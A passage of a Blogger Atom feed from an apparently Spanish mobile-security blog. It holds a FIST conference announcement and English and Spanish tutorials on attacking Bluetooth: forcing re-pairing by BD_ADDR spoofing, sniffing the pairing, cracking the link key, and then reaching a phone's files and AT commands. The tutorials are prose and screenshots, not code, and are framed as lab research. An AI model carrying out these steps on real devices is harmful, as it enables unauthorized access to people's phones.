¡repetimos!" /><author><name>Alberto</name><uri>http://www.blogger.com/profile/05614213072751714906</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>2</thr:total><feedburner:origLink>http://seguridadmobile.blogspot.com/2009/02/conferencias-fist-repetimos.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CEAEQ3Y4fip7ImA9WxVXE0s.&quot;"><id>tag:blogger.com,1999:blog-1056509288419803050.post-2744967239399357631</id><published>2009-02-10T19:12:00.003+01:00</published><updated>2009-02-11T15:31:42.836+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-02-11T15:31:42.836+01:00</app:edited><title>Conferencias FIST MADRID Febrero 2009</title><content type="html">El Jueves 19 de Febrero de 2009, gracias a la colaboración del Consejo Superior de Investigaciones Científicas y de la asociación ISSA España se celebrará en Madrid una nueva edición de las Conferencias de Seguridad FIST. El evento tendrá lugar en el edificio del Instituto de Física Aplicada del CSIC.&lt;br /&gt;&lt;br /&gt;Programa:&lt;br /&gt;- 18:00 "ISSA España" - Vicente Aceituno&lt;br /&gt;- 18:10 "La jungla de las redes Wifi" - Alejandro Martín (Informatica64)&lt;br /&gt;&lt;strong&gt;- 19:10 "Seguridad en Windows Mobile" - Alberto Moreno&lt;/strong&gt; &lt;br /&gt;- 20:00 Descanso&lt;br /&gt;- 20:10 "Network Access Control" - David Carrasco (Heroes Certificados)&lt;br /&gt;- 21:00 Despedida&lt;br /&gt;&lt;br /&gt;Lugar:&lt;br /&gt;La sala está en la Calle Serrano, 144. &lt;a href="http://www.ifa.csic.es/Contacto.aspx"&gt;Cómo llegar&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Para más información:&lt;br /&gt;&lt;a href="http://www.fistconference.org/?s=6&amp;t=2"&gt;http://www.fistconference.org/?s=6&amp;t=2&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Se recomienda &lt;a href="http://www.fistconference.org/?s=9"&gt;inscribirse&lt;/a&gt;, dado que las plazas son limitadas.&lt;br /&gt;&lt;br /&gt;Nos vemos allí ;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1056509288419803050-2744967239399357631?l=seguridadmobile.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/SeguridadMobile/~4/ffnry4VWxDQ" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://seguridadmobile.blogspot.com/feeds/2744967239399357631/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=1056509288419803050&amp;postID=2744967239399357631" title="3 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1056509288419803050/posts/default/2744967239399357631?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1056509288419803050/posts/default/2744967239399357631?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/SeguridadMobile/~3/ffnry4VWxDQ/conferencias-fist-madrid-febrero-2009.html" title="Conferencias FIST MADRID Febrero 2009" /><author><name>Alberto</name><uri>http://www.blogger.com/profile/05614213072751714906</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>3</thr:total><feedburner:origLink>http://seguridadmobile.blogspot.com/2009/02/conferencias-fist-madrid-febrero-2009.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DUMDQHg8eip7ImA9WxVUEUk.&quot;"><id>tag:blogger.com,1999:blog-1056509288419803050.post-3163499479376279899</id><published>2008-11-23T13:34:00.014+01:00</published><updated>2009-03-15T21:04:31.672+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-03-15T21:04:31.672+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Mobile phone security" /><category scheme="http://www.blogger.com/atom/ns#" term="Bluetooth security" /><title>Breaking the pair relationship between two remote devices</title><content type="html">&lt;a href="http://seguridadmobile.blogspot.com/2008/11/sniffing-bluetooth-pairing.html"&gt;Sniffing and cracking the secret Bluetooth link key shared between two remote devices&lt;/a&gt; is only possible if the attacker can sniff the pairing process successfully. This means there's no way to sniff and crack the Bluetooth link key if both devices are already paired up, since they will follow the Challenge-Response authentication process.&lt;br /&gt;&lt;br /&gt;If you find this scenario, it'd be interesting if you could break the pair relationship between both devices and force them to repeat the pairing process. Then you'll have the chance to sniff and crack the new link key.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Shaked and Wool Re-Pairing attack, the theory.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Long time ago Yaniv Shaked and Avishai Wool &lt;a href="http://www.eng.tau.ac.il/%7Eyash/shaked-wool-mobisys05/"&gt;published a paper explaining how to cryptographically crack the Bluetooth PIN&lt;/a&gt;. I quote:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;5.2 Attack details&lt;br /&gt;&lt;br /&gt;Assume that two Bluetooth devices that have already been paired before now intend to establish communication again. This means that they don't need to create the link key Kab again, since they have already created and stored it before. They proceed directly to the Authentication phase (...). We describe three different methods that can be used to force the devices to repeat the pairing process. The efficiency of each method depends on the implementation of the Bluetooth core in the device under attack. These methods appear in order of efficiency:&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Since the devices skipped the pairing process and proceeded directly to the Authentication phase, the master device sends the slave an AU_RAND message, and expects the SRES message in return. Note that Bluetooth specifications allow a Bluetooth device to forget a link key. In such a case, the slave sends an LMP_not_accepted message in return, to let the master know it has forgotten the link key (...). Therefore, after the master device has sent the AU_RAND message to the slave, the attacker injects a LMP_not_accepted message toward the master. The master will be convinced that the slave has lost the link key and pairing will be restarted (...). Restarting the pairing procedure causes the master to discard the link key (...). This assures pairing must be done before devices can authenticate again.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;At the beginning of the Authentication phase, the master device is supposed to send the AU_RAND to the slave. If before doing so, the attacker injects a IN_RAND message toward the slave, the slave device will be convinced the master has lost the link key and pairing is restarted. This will cause the connection establishment to restart.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;During the Authentication phase, the master device sends the slave an AU_RAND message, and expects a SRES message in return. If, after the master has sent the AU_RAND message, an attacker injects a random SRES message toward the master, this will cause the Authentication phase to restart, and repeated attempts will be made (...). At some point, after a certain number of failed authentication attempts, the master device is expected to declare that the authentication procedure has failed (implementation dependent) and initiate pairing (...).&lt;br /&gt;&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;The three methods described above cause one of the devices to discard its link key. This assures the pairing process will occur during the next connection establishment, so the attacker will be able to eavesdrop on the entire process, and use the method described in Section 3 to crack the PIN.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Spoofing the wrong link key, the practice.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Shaked and Wool attack looks nice and smart, but method 3 can be described in a much easier way: You &lt;span style="font-weight:bold;"&gt;just need to spoof one device's BD_ADDR and provide a wrong Bluetooth link key when authenticating in some other device's Bluetooth profile.&lt;/span&gt; Trust relationship will be broken for security reasons and the stored link key deleted.&lt;br /&gt;&lt;br /&gt;Let's see this with an example:&lt;br /&gt;&lt;br /&gt;You discover two remote devices, a mobile phone and a PDA. You'd like to obtain the secret shared Bluetooth link key, however both devices are already paired up. &lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh4.ggpht.com/_kWGvruOyW-U/SSlN9ukoSTI/AAAAAAAAAR4/LIZMU2cyT30/s800/break-pairing-1.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;img src="http://lh6.ggpht.com/_kWGvruOyW-U/SSlOGr5-FdI/AAAAAAAAASw/-sdwPApxBYI/s800/break-pairing-8.jpg" /&gt; &lt;img src="http://lh5.ggpht.com/_kWGvruOyW-U/SSlOHEEjtmI/AAAAAAAAAS4/-v3TbmWFsdw/s800/break-pairing-9.jpg" /&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;If any of the devices establishes a connection with the other one, they will follow a Challenge-Response process to validate the authentication mechanism.&lt;br /&gt;&lt;br /&gt;In order to break the pair relationship, you need to spoof one of them first (spoof its BD_ADDR). Let's say you choose to spoof the mobile phone...&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh6.ggpht.com/_kWGvruOyW-U/SSlN97HNGVI/AAAAAAAAASA/QX2mCjyaXmM/s800/break-pairing-2.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;Then, you need to install a random Bluetooth link key in the system.&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh3.ggpht.com/_kWGvruOyW-U/SSlN-DCpfRI/AAAAAAAAASI/l9K4DE0wvng/s800/break-pairing-3.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;From now on whenever you try to establish a connection with any Bluetooth profile requiring authentication in the PDA (the other device) the stored link key will be used in the Challenge-Response process. &lt;br /&gt;&lt;br /&gt;The link key provided is wrong, so the Challenge-Response process will fail.&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh3.ggpht.com/_kWGvruOyW-U/SSlN-VSsiiI/AAAAAAAAASQ/7WG8bAhDz_4/s800/break-pairing-4.jpg" /&gt;&lt;br /&gt;The attacker tries to connect the OBEX FTP profile in the PDA, which requires authentication.&lt;br /&gt;&lt;br /&gt;For security reasons, the trust relationship will be broken and the stored link key will be deleted in the PDA.&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;img src="http://lh5.ggpht.com/_kWGvruOyW-U/SSlOGcECcXI/AAAAAAAAASo/9Gc6GyFiit4/s800/break-pairing-7.jpg" /&gt; &lt;img src="http://lh4.ggpht.com/_kWGvruOyW-U/SSlOGBbqp3I/AAAAAAAAASg/LkmtvSLFEs4/s800/break-pairing-6.jpg" /&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;If the mobile phone now tries to establish a connection with the PDA, the devices won't follow the Challenge-Response authentication process; they will need to repeat the pairing process.&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;img src="http://lh6.ggpht.com/_kWGvruOyW-U/SSlN-dhHY6I/AAAAAAAAASY/Uex_dqwSJmg/s800/break-pairing-5.jpg" /&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;And you will be there to &lt;a href="http://seguridadmobile.blogspot.com/2008/11/sniffing-bluetooth-pairing.html"&gt;sniff and crack the new Bluetooth link key&lt;/a&gt;. ;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1056509288419803050-3163499479376279899?l=seguridadmobile.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/SeguridadMobile/~4/zC97Iso1Fxk" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://seguridadmobile.blogspot.com/feeds/3163499479376279899/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=1056509288419803050&amp;postID=3163499479376279899" title="2 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1056509288419803050/posts/default/3163499479376279899?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1056509288419803050/posts/default/3163499479376279899?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/SeguridadMobile/~3/zC97Iso1Fxk/breaking-pair-relationship-between-two.html" title="Breaking the pair relationship between two remote devices" /><author><name>Alberto</name><uri>http://www.blogger.com/profile/05614213072751714906</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://lh4.ggpht.com/_kWGvruOyW-U/SSlN9ukoSTI/AAAAAAAAAR4/LIZMU2cyT30/s72-c/break-pairing-1.jpg" height="72" width="72" /><thr:total>2</thr:total><feedburner:origLink>http://seguridadmobile.blogspot.com/2008/11/breaking-pair-relationship-between-two.html</feedburner:origLink></entry><entry gd:etag="W/&quot;C04FSHk-fyp7ImA9WxRUEEw.&quot;"><id>tag:blogger.com,1999:blog-1056509288419803050.post-6785843490505205295</id><published>2008-11-18T11:28:00.008+01:00</published><updated>2008-11-18T13:38:39.757+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-11-18T13:38:39.757+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Mobile phone security" /><category scheme="http://www.blogger.com/atom/ns#" term="Bluetooth security" /><title>Sniffing the Bluetooth pairing</title><content type="html">As i already proved, it's very easy to &lt;a href="http://seguridadmobile.blogspot.com/2008/11/building-your-own-bluetooth-sniffer.html"&gt;build your own Bluetooth sniffer from a consumer Bluetooth dongle&lt;/a&gt;. Among all the cool things you can do with that sniffer, it'd be amazing it you could sniff the Bluetooth pairing process and obtain the secret link key shared between two remote devices.&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh5.ggpht.com/_kWGvruOyW-U/SSKsJ1Fv0sI/AAAAAAAAARA/jqsjxHbkLFo/s800/sniffing-pairing-0.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;First, you need to build your own Bluetooth sniffer.&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh5.ggpht.com/_kWGvruOyW-U/SSKZc8Wnb-I/AAAAAAAAAP0/IrceLAo3dVc/s800/sniffing-pairing-1.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;Then, discover two random devices before they initiate the pairing process.&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh6.ggpht.com/_kWGvruOyW-U/SSKZdE379WI/AAAAAAAAAP8/S9zvtKDFTVc/s800/sniffing-pairing-2.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://darkircop.org/bt/bt.tgz"&gt;Andrea (aka sorbo) published a frontline tool&lt;/a&gt; which can be used for sending commands to the hardware sniffer. Instead, i'll use a modded version of this frontline coded by &lt;a href="http://drgr33nsblog.blogspot.com/"&gt;drgr33n&lt;/a&gt; and published under a Bluetooth security suite called &lt;a href="http://bluesmash.sourceforge.net/"&gt;Blue Smash&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh6.ggpht.com/_kWGvruOyW-U/SSKZdIyjuVI/AAAAAAAAAQE/EW_AbZcVwBE/s800/sniffing-pairing-3.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;Let's start sniffing...&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh3.ggpht.com/_kWGvruOyW-U/SSKZdCQ8mSI/AAAAAAAAAQM/IX-ZHv86Bag/s800/sniffing-pairing-4.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;At this time, the remote devices can begin the pairing process, packets generated will be captured by the sniffer.&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh6.ggpht.com/alberto.morenot/SPd9xQgVL7I/AAAAAAAAAIA/yAABgLFFDSg/s800/bd_addr-spoofing-0b.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh5.ggpht.com/_kWGvruOyW-U/SSKZdEh64II/AAAAAAAAAQU/TRATw97a1cc/s800/sniffing-pairing-5.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh5.ggpht.com/_kWGvruOyW-U/SSKZptAE6jI/AAAAAAAAAQc/7gB220RBC0o/s800/sniffing-pairing-6.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;Among all the packets captured you may find the keys created for the Bluetooth link key generation and therefore obtain it.&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;img src="http://www.seguridadmobile.com/bluetooth/seguridad-bluetooth/Temp/E22.jpg" /&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;img src="http://www.seguridadmobile.com/bluetooth/seguridad-bluetooth/Temp/E21.jpg" /&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://openciphers.sourceforge.net/oc/btpincrack.php"&gt;OpenCiphers' Bluetooth Pin Cracking Core&lt;/a&gt; or &lt;a href="http://www.nruns.com/_en/security_tools_btcrack.php"&gt;BTCrack PIN Cracker by Thierry Zoller&lt;/a&gt; can be used to crack the link key from the sniffed keys.&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh6.ggpht.com/_kWGvruOyW-U/SSKZpjB531I/AAAAAAAAAQk/Dx_DKqhCpNc/s800/sniffing-pairing-7.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;You can check the cracked link key, &lt;span style="font-style:italic;"&gt;Kab&lt;/span&gt;, is the same shared by the remote devices.&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;img src="http://lh4.ggpht.com/_kWGvruOyW-U/SSKZpmIHb6I/AAAAAAAAAQs/A69-T-3ZceA/s800/sniffing-pairing-8.jpg" /&gt; &lt;img src="http://lh6.ggpht.com/_kWGvruOyW-U/SSKZp2vA8xI/AAAAAAAAAQ0/Y4KbXtHenPE/s800/sniffing-pairing-9.jpg" /&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;Once you own the Bluetooth link key, you can perform the &lt;a href="http://seguridadmobile.blogspot.com/2008/10/bdaddr-spoofing-attack.html"&gt;BD_ADDR spoofing attack&lt;/a&gt; and use it to access to profiles requiring authorization/authentication in both devices, such as OBEX FTP Profile, which allows you to &lt;a href="http://seguridadmobile.blogspot.com/2008/10/sending-getting-files-from-mobile.html"&gt;send files, get files and list directories in the mobile phone&lt;/a&gt;. &lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh5.ggpht.com/alberto.morenot/SPd-V4nGH4I/AAAAAAAAAI4/59EVHgg0szU/s800/bd_addr-spoofing-6.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh3.ggpht.com/alberto.morenot/SPd-V7SoEHI/AAAAAAAAAJA/vJxWbezwoik/s800/bd_addr-spoofing-7.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;And the Dial Up Networking Profile, which allows you to &lt;a href="http://seguridadmobile.blogspot.com/2008/10/sending-at-commands-to-mobile-phones.html"&gt;send AT Commands to the mobile phone&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh4.ggpht.com/alberto.morenot/SPd-VyXdcaI/AAAAAAAAAJI/eDfdIgkYAnE/s800/bd_addr-spoofing-8.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh6.ggpht.com/alberto.morenot/SPd-V20HdfI/AAAAAAAAAJQ/c9mugRjPhP0/s800/bd_addr-spoofing-9.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;Bluetooth security is now broken. However, keep in mind that performing this attack in the real world is almost impossible. You need to find two devices just before they initiate the pairing process and know which one is playing the master role in the piconet in advance. This is a PoC only suitable for a perfect in-the-lab scenario with all devices under control. (But still rocks!)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1056509288419803050-6785843490505205295?l=seguridadmobile.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/SeguridadMobile/~4/1xmP5CQXSsU" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://seguridadmobile.blogspot.com/feeds/6785843490505205295/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=1056509288419803050&amp;postID=6785843490505205295" title="10 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1056509288419803050/posts/default/6785843490505205295?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1056509288419803050/posts/default/6785843490505205295?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/SeguridadMobile/~3/1xmP5CQXSsU/sniffing-bluetooth-pairing.html" title="Sniffing the Bluetooth pairing" /><author><name>Alberto</name><uri>http://www.blogger.com/profile/05614213072751714906</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://lh5.ggpht.com/_kWGvruOyW-U/SSKsJ1Fv0sI/AAAAAAAAARA/jqsjxHbkLFo/s72-c/sniffing-pairing-0.jpg" height="72" width="72" /><thr:total>10</thr:total><feedburner:origLink>http://seguridadmobile.blogspot.com/2008/11/sniffing-bluetooth-pairing.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DUUCQX8yeip7ImA9WxVQEEo.&quot;"><id>tag:blogger.com,1999:blog-1056509288419803050.post-2691928196164166628</id><published>2008-11-17T12:57:00.007+01:00</published><updated>2009-01-27T18:27:40.192+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-01-27T18:27:40.192+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Mobile phone security (español)" /><category scheme="http://www.blogger.com/atom/ns#" term="Bluetooth security (español)" /><title>Sniffando el emparejamiento Bluetooth</title><content type="html">Como ya demostré, es muy fácil &lt;a href="http://seguridadmobile.blogspot.com/2008/11/construyendo-tu-propio-sniffer.html"&gt;construir tu propio sniffer Bluetooth a partir de un adaptador USB Bluetooth convencional&lt;/a&gt;. Entre todas las cosas guays que podrías hacer con un sniffer, sería increible poder sniffar durante el emparejamiento de dos dispositivos Bluetooth y obtener la clave de enlace que comparten.&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh5.ggpht.com/_kWGvruOyW-U/SSKsJ1Fv0sI/AAAAAAAAARA/jqsjxHbkLFo/s800/sniffing-pairing-0.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;En primer lugar, necesitamos haber construido nuestro propio sniffer Bluetooth.&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh5.ggpht.com/_kWGvruOyW-U/SSKZc8Wnb-I/AAAAAAAAAP0/IrceLAo3dVc/s800/sniffing-pairing-1.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;A continuación debemos detectar dos dispositivos cualesquiera que estén a punto de iniciar el proceso de emparejamiento.&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh6.ggpht.com/_kWGvruOyW-U/SSKZdE379WI/AAAAAAAAAP8/S9zvtKDFTVc/s800/sniffing-pairing-2.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://darkircop.org/bt/bt.tgz"&gt;Andrea (aka sorbo) publicó hace tiempo la herramienta frontline&lt;/a&gt; que permite enviar comandos a un sniffer hardware. Sin embargo, en su lugar utilizaré una versión modificada por &lt;a href="http://drgr33nsblog.blogspot.com/"&gt;drgr33n&lt;/a&gt; y publicada bajo una suite de auditoría de seguridad Bluetooth llamada &lt;a href="http://bluesmash.sourceforge.net/"&gt;Blue Smash&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh6.ggpht.com/_kWGvruOyW-U/SSKZdIyjuVI/AAAAAAAAAQE/EW_AbZcVwBE/s800/sniffing-pairing-3.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;Empezamos a sniffar...&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh3.ggpht.com/_kWGvruOyW-U/SSKZdCQ8mSI/AAAAAAAAAQM/IX-ZHv86Bag/s800/sniffing-pairing-4.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;En este punto, los dispositivos Bluetooth remotos pueden comenzar el proceso de emparejamiento, los paquetes generados serán capturados por el sniffer.&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh6.ggpht.com/alberto.morenot/SPd9xQgVL7I/AAAAAAAAAIA/yAABgLFFDSg/s800/bd_addr-spoofing-0b.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh5.ggpht.com/_kWGvruOyW-U/SSKZdEh64II/AAAAAAAAAQU/TRATw97a1cc/s800/sniffing-pairing-5.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh5.ggpht.com/_kWGvruOyW-U/SSKZptAE6jI/AAAAAAAAAQc/7gB220RBC0o/s800/sniffing-pairing-6.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;Entre todos los paquetes capturados, podemos encontrar las claves temporales creadas durante el &lt;a href="http://www.seguridadmobile.com/bluetooth/seguridad-bluetooth/elementos-de-seguridad.html#Autenticacion"&gt;proceso de emparejamiento&lt;/a&gt; para generar la clave de enlace y, por consiguiente, llegar a obtener la misma.&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;img src="http://www.seguridadmobile.com/bluetooth/seguridad-bluetooth/Temp/E22.jpg" /&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;img src="http://www.seguridadmobile.com/bluetooth/seguridad-bluetooth/Temp/E21.jpg" /&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;Podemos utilizar el &lt;a href="http://openciphers.sourceforge.net/oc/btpincrack.php"&gt; Bluetooth Pin Cracking Core de OpenCiphers&lt;/a&gt; o el &lt;a href="http://www.nruns.com/_en/security_tools_btcrack.php"&gt;BTCrack PIN Cracker de Thierry Zoller&lt;/a&gt; para crackear la clave de enlace Bluetooth a partir de las claves temporales capturadas.&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh6.ggpht.com/_kWGvruOyW-U/SSKZpjB531I/AAAAAAAAAQk/Dx_DKqhCpNc/s800/sniffing-pairing-7.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;Es fácil comprobar si la clave crackeada corresponde con la clave de enlace que realmente comparten los dispositivos remotos.&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;img src="http://lh4.ggpht.com/_kWGvruOyW-U/SSKZpmIHb6I/AAAAAAAAAQs/A69-T-3ZceA/s800/sniffing-pairing-8.jpg" /&gt; &lt;img src="http://lh6.ggpht.com/_kWGvruOyW-U/SSKZp2vA8xI/AAAAAAAAAQ0/Y4KbXtHenPE/s800/sniffing-pairing-9.jpg" /&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;Una vez que la clave de enlace Bluetooth está en nuestra posesión, podemos llevar a cabo el &lt;a href="http://www.seguridadmobile.com/bluetooth/seguridad-bluetooth/BD_ADDR-spoofing.html"&gt;ataque BD_ADDR spoofing&lt;/a&gt; y utilizar esta clave para acceder a perfiles que requieran autorización/autenticación en cualquiera de los dispositivos, como por ejemplo el &lt;a href="http://www.seguridadmobile.com/bluetooth/especificacion-bluetooth/perfiles-bluetooth/index.html#PTA"&gt;perfil de OBEX FTP para Transferencia de Archivos, que permite enviar y descargar archivos del teléfono móvil así como listar directorios&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh5.ggpht.com/alberto.morenot/SPd-V4nGH4I/AAAAAAAAAI4/59EVHgg0szU/s800/bd_addr-spoofing-6.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh3.ggpht.com/alberto.morenot/SPd-V7SoEHI/AAAAAAAAAJA/vJxWbezwoik/s800/bd_addr-spoofing-7.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;Y el &lt;a href="http://www.seguridadmobile.com/bluetooth/especificacion-bluetooth/arquitectura-de-protocolo/index.html#ComandosAT"&gt;perfil de Acceso Telefónico a Redes, que permite enviar comandos AT al teléfono móvil&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh4.ggpht.com/alberto.morenot/SPd-VyXdcaI/AAAAAAAAAJI/eDfdIgkYAnE/s800/bd_addr-spoofing-8.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh6.ggpht.com/alberto.morenot/SPd-V20HdfI/AAAAAAAAAJQ/c9mugRjPhP0/s800/bd_addr-spoofing-9.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;Con esto se ha conseguido romper definitivamente la seguridad en Bluetooth. No obstante, resulta casi imposible reproducir este ataque en el mundo real. Necesitaríamos encontrar dos dispositivos en un estado anterior al proceso de emparejamiento y saber de antemano cual de los dos juega el papel de maestro en la piconet. Es una Prueba de Concepto que únicamente puede ser reproducida en un entorno de laboratorio, con todos los dispositivos bajo nuestro control. (¡Pero aún así mola!)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1056509288419803050-2691928196164166628?l=seguridadmobile.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/SeguridadMobile/~4/aN5uKDYs_9Q" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://seguridadmobile.blogspot.com/feeds/2691928196164166628/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=1056509288419803050&amp;postID=2691928196164166628" title="3 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1056509288419803050/posts/default/2691928196164166628?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1056509288419803050/posts/default/2691928196164166628?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/SeguridadMobile/~3/aN5uKDYs_9Q/sniffando-el-emparejamiento-bluetooth.html" title="Sniffando el emparejamiento Bluetooth" /><author><name>Alberto</name><uri>http://www.blogger.com/profile/05614213072751714906</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" 